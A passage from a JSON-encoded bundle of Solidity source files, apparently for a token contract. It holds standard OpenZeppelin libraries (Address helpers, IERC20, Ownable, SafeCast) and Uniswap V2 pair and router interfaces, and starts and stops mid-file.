return returndata;\r\n } else {\r\n _revert(returndata, errorMessage);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Tool to verify that a low level call was successful, and revert if it wasn\u0027t, either by bubbling the\r\n * revert reason or using the provided one.\r\n *\r\n * _Available since v4.3._\r\n */\r\n function verifyCallResult(\r\n bool success,\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) internal pure returns (bytes memory) {\r\n if (success) {\r\n return returndata;\r\n } else {\r\n _revert(returndata, errorMessage);\r\n }\r\n }\r\n\r\n function _revert(\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) private pure {\r\n // Look for revert reason and bubble it up if present\r\n if (returndata.length \u003e 0) {\r\n // The easiest way to bubble the revert reason is using memory via assembly\r\n /// @solidity memory-safe-assembly\r\n assembly {\r\n let returndata_size := mload(returndata)\r\n revert(add(32, returndata), returndata_size)\r\n }\r\n } else {\r\n revert(errorMessage);\r\n }\r\n }\r\n}"},"IERC20.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\r\n\r\npragma solidity ^0.8.0;\r\n\r\n/**\r\n * @dev Interface of the ERC20 standard as defined in the EIP.\r\n */\r\ninterface IERC20 {\r\n /**\r\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\r\n * another (`to`).\r\n *\r\n * Note that `value` may be zero.\r\n */\r\n event Transfer(address indexed from, address indexed to, uint256 value);\r\n\r\n /**\r\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\r\n * a call to {approve}. `value` is the new allowance.\r\n */\r\n event Approval(\r\n address indexed owner,\r\n address indexed spender,\r\n uint256 value\r\n );\r\n\r\n /**\r\n * @dev Returns the amount of tokens in existence.\r\n */\r\n function totalSupply() external view returns (uint256);\r\n\r\n /**\r\n * @dev Returns the amount of tokens owned by `account`.\r\n */\r\n function balanceOf(address account) external view returns (uint256);\r\n\r\n /**\r\n * @dev Moves `amount` tokens from the caller\u0027s account to `to`.\r\n *\r\n * Returns a boolean value indicating whether the operation succeeded.\r\n *\r\n * Emits a {Transfer} event.\r\n */\r\n function transfer(address to, uint256 amount) external returns (bool);\r\n\r\n /**\r\n * @dev Returns the remaining number of tokens that `spender` will be\r\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\r\n * zero by default.\r\n *\r\n * This value changes when {approve} or {transferFrom} are called.\r\n */\r\n function allowance(\r\n address owner,\r\n address spender\r\n ) external view returns (uint256);\r\n\r\n /**\r\n * @dev Sets `amount` as the allowance of `spender` over the caller\u0027s tokens.\r\n *\r\n * Returns a boolean value indicating whether the operation succeeded.\r\n *\r\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\r\n * that someone may use both the old and the new allowance by unfortunate\r\n * transaction ordering. One possible solution to mitigate this race\r\n * condition is to first reduce the spender\u0027s allowance to 0 and set the\r\n * desired value afterwards:\r\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n *\r\n * Emits an {Approval} event.\r\n */\r\n function approve(address spender, uint256 amount) external returns (bool);\r\n\r\n /**\r\n * @dev Moves `amount` tokens from `from` to `to` using the\r\n * allowance mechanism. `amount` is then deducted from the caller\u0027s\r\n * allowance.\r\n *\r\n * Returns a boolean value indicating whether the operation succeeded.\r\n *\r\n * Emits a {Transfer} event.\r\n */\r\n function transferFrom(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) external returns (bool);\r\n}"},"IUniswapV2Pair.sol":{"content":"interface IUniswapV2Pair {\r\n event Approval(\r\n address indexed owner,\r\n address indexed spender,\r\n uint256 value\r\n );\r\n event Transfer(address indexed from, address indexed to, uint256 value);\r\n\r\n function name() external pure returns (string memory);\r\n\r\n function symbol() external pure returns (string memory);\r\n\r\n function decimals() external pure returns (uint8);\r\n\r\n function totalSupply() external view returns (uint256);\r\n\r\n function balanceOf(address owner) external view returns (uint256);\r\n\r\n function allowance(\r\n address owner,\r\n address spender\r\n ) external view returns (uint256);\r\n\r\n function approve(address spender, uint256 value) external returns (bool);\r\n\r\n function transfer(address to, uint256 value) external returns (bool);\r\n\r\n function transferFrom(\r\n address from,\r\n address to,\r\n uint256 value\r\n ) external returns (bool);\r\n\r\n function DOMAIN_SEPARATOR() external view returns (bytes32);\r\n\r\n function PERMIT_TYPEHASH() external pure returns (bytes32);\r\n\r\n function nonces(address owner) external view returns (uint256);\r\n\r\n function permit(\r\n address owner,\r\n address spender,\r\n uint256 value,\r\n uint256 deadline,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n ) external;\r\n\r\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\r\n event Burn(\r\n address indexed sender,\r\n uint256 amount0,\r\n uint256 amount1,\r\n address indexed to\r\n );\r\n event Swap(\r\n address indexed sender,\r\n uint256 amount0In,\r\n uint256 amount1In,\r\n uint256 amount0Out,\r\n uint256 amount1Out,\r\n address indexed to\r\n );\r\n event Sync(uint112 reserve0, uint112 reserve1);\r\n\r\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\r\n\r\n function factory() external view returns (address);\r\n\r\n function token0() external view returns (address);\r\n\r\n function token1() external view returns (address);\r\n\r\n function getReserves()\r\n external\r\n view\r\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\r\n\r\n function price0CumulativeLast() external view returns (uint256);\r\n\r\n function price1CumulativeLast() external view returns (uint256);\r\n\r\n function kLast() external view returns (uint256);\r\n\r\n function mint(address to) external returns (uint256 liquidity);\r\n\r\n function burn(\r\n address to\r\n ) external returns (uint256 amount0, uint256 amount1);\r\n\r\n function swap(\r\n uint256 amount0Out,\r\n uint256 amount1Out,\r\n address to,\r\n bytes calldata data\r\n ) external;\r\n\r\n function skim(address to) external;\r\n\r\n function sync() external;\r\n\r\n function initialize(address, address) external;\r\n}"},"IUniswapV2Router01.sol":{"content":"pragma solidity \u003e=0.6.2;\r\n\r\ninterface IUniswapV2Router01 {\r\n function factory() external pure returns (address);\r\n\r\n function WETH() external pure returns (address);\r\n\r\n function addLiquidity(\r\n address tokenA,\r\n address tokenB,\r\n uint amountADesired,\r\n uint amountBDesired,\r\n uint amountAMin,\r\n uint amountBMin,\r\n address to,\r\n uint deadline\r\n ) external returns (uint amountA, uint amountB, uint liquidity);\r\n\r\n function addLiquidityETH(\r\n address token,\r\n uint amountTokenDesired,\r\n uint amountTokenMin,\r\n uint amountETHMin,\r\n address to,\r\n uint deadline\r\n )\r\n external\r\n payable\r\n returns (uint amountToken, uint amountETH, uint liquidity);\r\n\r\n function removeLiquidity(\r\n address tokenA,\r\n address tokenB,\r\n uint liquidity,\r\n uint amountAMin,\r\n uint amountBMin,\r\n address to,\r\n uint deadline\r\n ) external returns (uint amountA, uint amountB);\r\n\r\n function removeLiquidityETH(\r\n address token,\r\n uint liquidity,\r\n uint amountTokenMin,\r\n uint amountETHMin,\r\n address to,\r\n uint deadline\r\n ) external returns (uint amountToken, uint amountETH);\r\n\r\n function removeLiquidityWithPermit(\r\n address tokenA,\r\n address tokenB,\r\n uint liquidity,\r\n uint amountAMin,\r\n uint amountBMin,\r\n address to,\r\n uint deadline,\r\n bool approveMax,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n ) external returns (uint amountA, uint amountB);\r\n\r\n function removeLiquidityETHWithPermit(\r\n address token,\r\n uint liquidity,\r\n uint amountTokenMin,\r\n uint amountETHMin,\r\n address to,\r\n uint deadline,\r\n bool approveMax,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n ) external returns (uint amountToken, uint amountETH);\r\n\r\n function swapExactTokensForTokens(\r\n uint amountIn,\r\n uint amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint deadline\r\n ) external returns (uint[] memory amounts);\r\n\r\n function swapTokensForExactTokens(\r\n uint amountOut,\r\n uint amountInMax,\r\n address[] calldata path,\r\n address to,\r\n uint deadline\r\n ) external returns (uint[] memory amounts);\r\n\r\n function swapExactETHForTokens(\r\n uint amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint deadline\r\n ) external payable returns (uint[] memory amounts);\r\n\r\n function swapTokensForExactETH(\r\n uint amountOut,\r\n uint amountInMax,\r\n address[] calldata path,\r\n address to,\r\n uint deadline\r\n ) external returns (uint[] memory amounts);\r\n\r\n function swapExactTokensForETH(\r\n uint amountIn,\r\n uint amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint deadline\r\n ) external returns (uint[] memory amounts);\r\n\r\n function swapETHForExactTokens(\r\n uint amountOut,\r\n address[] calldata path,\r\n address to,\r\n uint deadline\r\n ) external payable returns (uint[] memory amounts);\r\n\r\n function quote(\r\n uint amountA,\r\n uint reserveA,\r\n uint reserveB\r\n ) external pure returns (uint amountB);\r\n\r\n function getAmountOut(\r\n uint amountIn,\r\n uint reserveIn,\r\n uint reserveOut\r\n ) external pure returns (uint amountOut);\r\n\r\n function getAmountIn(\r\n uint amountOut,\r\n uint reserveIn,\r\n uint reserveOut\r\n ) external pure returns (uint amountIn);\r\n\r\n function getAmountsOut(\r\n uint amountIn,\r\n address[] calldata path\r\n ) external view returns (uint[] memory amounts);\r\n\r\n function getAmountsIn(\r\n uint amountOut,\r\n address[] calldata path\r\n ) external view returns (uint[] memory amounts);\r\n}"},"IUniswapV2Router02.sol":{"content":"interface IUniswapV2Router02 {\r\n function factory() external pure returns (address);\r\n\r\n function WETH() external pure returns (address);\r\n\r\n function addLiquidity(\r\n address tokenA,\r\n address tokenB,\r\n uint256 amountADesired,\r\n uint256 amountBDesired,\r\n uint256 amountAMin,\r\n uint256 amountBMin,\r\n address to,\r\n uint256 deadline\r\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\r\n\r\n function addLiquidityETH(\r\n address token,\r\n uint256 amountTokenDesired,\r\n uint256 amountTokenMin,\r\n uint256 amountETHMin,\r\n address to,\r\n uint256 deadline\r\n )\r\n external\r\n payable\r\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\r\n\r\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\r\n uint256 amountIn,\r\n uint256 amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint256 deadline\r\n ) external;\r\n\r\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\r\n uint256 amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint256 deadline\r\n ) external payable;\r\n\r\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n uint256 amountIn,\r\n uint256 amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint256 deadline\r\n ) external;\r\n}"},"Ownable.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)\r\n\r\npragma solidity ^0.8.0;\r\n\r\nimport \"./Context.sol\";\r\n\r\n/**\r\n * @dev Contract module which provides a basic access control mechanism, where\r\n * there is an account (an owner) that can be granted exclusive access to\r\n * specific functions.\r\n *\r\n * By default, the owner account will be the one that deploys the contract. This\r\n * can later be changed with {transferOwnership}.\r\n *\r\n * This module is used through inheritance. It will make available the modifier\r\n * `onlyOwner`, which can be applied to your functions to restrict their use to\r\n * the owner.\r\n */\r\nabstract contract Ownable is Context {\r\n address private _owner;\r\n\r\n event OwnershipTransferred(\r\n address indexed previousOwner,\r\n address indexed newOwner\r\n );\r\n\r\n /**\r\n * @dev Initializes the contract setting the deployer as the initial owner.\r\n */\r\n constructor() {\r\n _transferOwnership(_msgSender());\r\n }\r\n\r\n /**\r\n * @dev Throws if called by any account other than the owner.\r\n */\r\n modifier onlyOwner() {\r\n _checkOwner();\r\n _;\r\n }\r\n\r\n /**\r\n * @dev Returns the address of the current owner.\r\n */\r\n function owner() public view virtual returns (address) {\r\n return _owner;\r\n }\r\n\r\n /**\r\n * @dev Throws if the sender is not the owner.\r\n */\r\n function _checkOwner() internal view virtual {\r\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\r\n }\r\n\r\n /**\r\n * @dev Leaves the contract without owner. It will not be possible to call\r\n * `onlyOwner` functions. Can only be called by the current owner.\r\n *\r\n * NOTE: Renouncing ownership will leave the contract without an owner,\r\n * thereby disabling any functionality that is only available to the owner.\r\n */\r\n function renounceOwnership() public virtual onlyOwner {\r\n _transferOwnership(address(0));\r\n }\r\n\r\n /**\r\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\r\n * Can only be called by the current owner.\r\n */\r\n function transferOwnership(address newOwner) public virtual onlyOwner {\r\n require(\r\n newOwner != address(0),\r\n \"Ownable: new owner is the zero address\"\r\n );\r\n _transferOwnership(newOwner);\r\n }\r\n\r\n /**\r\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\r\n * Internal function without access restriction.\r\n */\r\n function _transferOwnership(address newOwner) internal virtual {\r\n address oldOwner = _owner;\r\n _owner = newOwner;\r\n emit OwnershipTransferred(oldOwner, newOwner);\r\n }\r\n}"},"SafeCast.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)\r\n// This file was procedurally generated from scripts/generate/templates/SafeCast.js.\r\n\r\npragma solidity ^0.8.0;\r\n\r\n/**\r\n * @dev Wrappers over Solidity\u0027s uintXX/intXX casting operators with added overflow\r\n * checks.\r\n *\r\n * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can\r\n * easily result in undesired exploitation or bugs, since developers usually\r\n * assume that overflows raise errors. `SafeCast` restores this intuition by\r\n * reverting the transaction when such an operation overflows.\r\n *\r\n * Using this library instead of the unchecked operations eliminates an entire\r\n * class of bugs, so it\u0027s recommended to use it always.\r\n *\r\n * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing\r\n * all math on `uint256` and `int256` and then downcasting.\r\n */\r\nlibrary SafeCast {\r\n /**\r\n * @dev Returns the downcasted uint248 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint248).\r\n *\r\n * Counterpart to Solidity\u0027s `uint248` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 248 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint248(uint256 value) internal pure returns (uint248) {\r\n require(\r\n value \u003c= type(uint248).max,\r\n \"SafeCast: value doesn\u0027t fit in 248 bits\"\r\n );\r\n return uint248(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint240 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint240).\r\n *\r\n * Counterpart to Solidity\u0027s `uint240` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 240 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint240(uint256 value) internal pure returns (uint240) {\r\n require(\r\n value \u003c= type(uint240).max,\r\n \"SafeCast: value doesn\u0027t fit in 240 bits\"\r\n );\r\n return uint240(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint232 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint232).\r\n *\r\n * Counterpart to Solidity\u0027s `uint232` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 232 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint232(uint256 value) internal pure returns (uint232) {\r\n require(\r\n value \u003c= type(uint232).max,\r\n \"SafeCast: value doesn\u0027t fit in 232 bits\"\r\n );\r\n return uint232(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint224 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint224).\r\n *\r\n * Counterpart to Solidity\u0027s `uint224` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 224 bits\r\n *\r\n * _Available since v4.2._\r\n */\r\n function toUint224(uint256 value) internal pure returns (uint224) {\r\n require(\r\n value \u003c= type(uint224).max,\r\n \"SafeCast: value doesn\u0027t fit in 224 bits\"\r\n );\r\n return uint224(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint216 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint216).\r\n *\r\n * Counterpart to Solidity\u0027s `uint216` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 216 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint216(uint256 value) internal pure returns (uint216) {\r\n require(\r\n value \u003c= type(uint216).max,\r\n \"SafeCast: value doesn\u0027t fit in 216 bits\"\r\n );\r\n return uint216(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint208 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint208).\r\n *\r\n * Counterpart to Solidity\u0027s `uint208` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 208 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint208(uint256 value) internal pure returns (uint208) {\r\n require(\r\n value \u003c= type(uint208).max,\r\n \"SafeCast: value doesn\u0027t fit in 208 bits\"\r\n );\r\n return uint208(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint200 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint200).\r\n *\r\n * Counterpart to Solidity\u0027s `uint200` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 200 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint200(uint256 value) internal pure returns (uint200) {\r\n require(\r\n value \u003c= type(uint200).max,\r\n \"SafeCast: value doesn\u0027t fit in 200 bits\"\r\n );\r\n return uint200(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint192 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint192).\r\n *\r\n * Counterpart to Solidity\u0027s `uint192` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 192 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint192(uint256 value) internal pure returns (uint192) {\r\n require(\r\n value \u003c= type(uint192).max,\r\n \"SafeCast: value doesn\u0027t fit in 192 bits\"\r\n );\r\n return uint192(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint184 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint184).\r\n *\r\n * Counterpart to Solidity\u0027s `uint184` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 184 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint184(uint256 value) internal pure returns (uint184) {\r\n require(\r\n value \u003c= type(uint184).max,\r\n \"SafeCast: value doesn\u0027t fit in 184 bits\"\r\n );\r\n return uint184(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint176 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint176).\r\n *\r\n * Counterpart to Solidity\u0027s `uint176` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 176 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint176(uint256 value) internal pure returns (uint176) {\r\n require(\r\n value \u003c= type(uint176).max,\r\n \"SafeCast: value doesn\u0027t fit in 176 bits\"\r\n );\r\n return uint176(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint168 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint168).\r\n *\r\n * Counterpart to Solidity\u0027s `uint168` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 168 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint168(uint256 value) internal pure returns (uint168) {\r\n require(\r\n value \u003c= type(uint168).max,\r\n \"SafeCast: value doesn\u0027t fit in 168 bits\"\r\n );\r\n return uint168(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint160 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint160).\r\n *\r\n * Counterpart to Solidity\u0027s `uint160` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 160 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint160(uint256 value) internal pure returns (uint160) {\r\n require(\r\n value \u003c= type(uint160).max,\r\n \"SafeCast: value doesn\u0027t fit in 160 bits\"\r\n );\r\n return uint160(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint152 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint152).\r\n *\r\n * Counterpart to Solidity\u0027s `uint152` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 152 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint152(uint256 value) internal pure returns (uint152) {\r\n require(\r\n value \u003c= type(uint152).max,\r\n \"SafeCast: value doesn\u0027t fit in 152 bits\"\r\n );\r\n return uint152(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint144 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint144).\r\n *\r\n * Counterpart to Solidity\u0027s `uint144` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 144 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint144(uint256 value) internal pure returns (uint144) {\r\n require(\r\n value \u003c= type(uint144).max,\r\n \"SafeCast: value doesn\u0027t fit in 144 bits\"\r\n );\r\n return uint144(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint136 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint136).\r\n *\r\n * Counterpart to Solidity\u0027s `uint136` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 136 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint136(uint256 value) internal pure returns (uint136) {\r\n require(\r\n value \u003c= type(uint136).max,\r\n \"SafeCast: value doesn\u0027t fit in 136 bits\"\r\n );\r\n return uint136(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint128 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint128).\r\n *\r\n * Counterpart to Solidity\u0027s `uint128` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 128 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint128(uint256 value) internal pure returns (uint128) {\r\n require(\r\n value \u003c= type(uint128).max,\r\n \"SafeCast: value doesn\u0027t fit in 128 bits\"\r\n );\r\n return uint128(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint120 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint120).\r\n *\r\n * Counterpart to Solidity\u0027s `uint120` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 120 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint120(uint256 value) internal pure returns (uint120) {\r\n require(\r\n value \u003c= type(uint120).max,\r\n \"SafeCast: value doesn\u0027t fit in 120 bits\"\r\n );\r\n return uint120(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint112 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint112).\r\n *\r\n * Counterpart to Solidity\u0027s `uint112` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 112 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint112(uint256 value) internal pure returns (uint112) {\r\n require(\r\n value \u003c= type(uint112).max,\r\n \"SafeCast: value doesn\u0027t fit in 112 bits\"\r\n );\r\n return uint112(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint104 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint104).\r\n *\r\n * Counterpart to Solidity\u0027s `uint104` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 104 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint104(uint256 value) internal pure returns (uint104) {\r\n require(\r\n value \u003c= type(uint104).max,\r\n \"SafeCast: value doesn\u0027t fit in 104 bits\"\r\n );\r\n return uint104(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint96 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint96).\r\n *\r\n * Counterpart to Solidity\u0027s `uint96` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 96 bits\r\n *\r\n * _Available since v4.2._\r\n */\r\n function toUint96(uint256 value) internal pure returns (uint96) {\r\n require(\r\n value \u003c= type(uint96).max,\r\n \"SafeCast: value doesn\u0027t fit in 96 bits\"\r\n );\r\n return uint96(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint88 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint88).\r\n *\r\n * Counterpart to Solidity\u0027s `uint88` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 88 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint88(uint256 value) internal pure returns (uint88) {\r\n require(\r\n value \u003c= type(uint88).max,\r\n \"SafeCast: value doesn\u0027t fit in 88 bits\"\r\n );\r\n return uint88(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint80 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint80).\r\n *\r\n * Counterpart to Solidity\u0027s `uint80` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 80 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint80(uint256 value) internal pure returns (uint80) {\r\n require(\r\n value \u003c= type(uint80).max,\r\n \"SafeCast: value doesn\u0027t fit in 80 bits\"\r\n );\r\n return uint80(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint72 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint72).\r\n *\r\n * Counterpart to Solidity\u0027s `uint72` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 72 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint72(uint256 value) internal pure returns (uint72) {\r\n require(\r\n value \u003c= type(uint72).max,\r\n \"SafeCast: value doesn\u0027t fit in 72 bits\"\r\n );\r\n return uint72(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint64 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint64).\r\n *\r\n * Counterpart to Solidity\u0027s `uint64` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 64 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint64(uint256 value) internal pure returns (uint64) {\r\n require(\r\n value \u003c= type(uint64).max,\r\n \"SafeCast: value doesn\u0027t fit in 64 bits\"\r\n );\r\n return uint64(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint56 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint56).\r\n *\r\n * Counterpart to Solidity\u0027s `uint56` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 56 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint56(uint256 value) internal pure returns (uint56) {\r\n require(\r\n value \u003c= type(uint56).max,\r\n \"SafeCast: value doesn\u0027t fit in 56 bits\"\r\n );\r\n return uint56(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint48 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint48).\r\n *\r\n * Counterpart to Solidity\u0027s `uint48` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 48 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint48(uint256 value) internal pure returns (uint48) {\r\n require(\r\n value \u003c= type(uint48).max,\r\n \"SafeCast: value doesn\u0027t fit in 48 bits\"\r\n );\r\n return uint48(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint40 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint40).\r\n *\r\n * Counterpart to Solidity\u0027s `uint40` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 40 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint40(uint256 value) internal pure returns (uint40) {\r\n require(\r\n value \u003c= type(uint40).max,\r\n \"SafeCast: value doesn\u0027t fit in 40 bits\"\r\n );\r\n return uint40(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint32 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint32).\r\n *\r\n * Counterpart to Solidity\u0027s `uint32` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 32 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint32(uint256 value) internal pure returns (uint32) {\r\n require(\r\n value \u003c= type(uint32).max,\r\n \"SafeCast: value doesn\u0027t fit in 32 bits\"\r\n );\r\n return uint32(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint24 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint24).\r\n *\r\n * Counterpart to Solidity\u0027s `uint24` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 24 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint24(uint256 value) internal pure returns (uint24) {\r\n require(\r\n value \u003c= type(uint24).max,\r\n \"SafeCast: value doesn\u0027t fit in 24 bits\"\r\n );\r\n return uint24(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint16 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint16).\r\n *\r\n * Counterpart to Solidity\u0027s `uint16` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 16 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint16(uint256 value) internal pure returns (uint16) {\r\n require(\r\n value \u003c= type(uint16).max,\r\n \"SafeCast: value doesn\u0027t fit in 16 bits\"\r\n );\r\n return uint16(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint8 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint8).\r\n *\r\n * Counterpart to Solidity\u0027s `uint8` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 8 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint8(uint256 value) internal pure returns (uint8) {\r\n require(\r\n value \u003c= type(uint8).max,\r\n \"SafeCast: value doesn\u0027t fit in 8 bits\"\r\n );\r\n return uint8(value);\r\n }\r\n\r\n /**\r\n * @dev Converts a signed int256 into an unsigned uint256.\r\n *\r\n * Requirements:\r\n *\r\n * - input 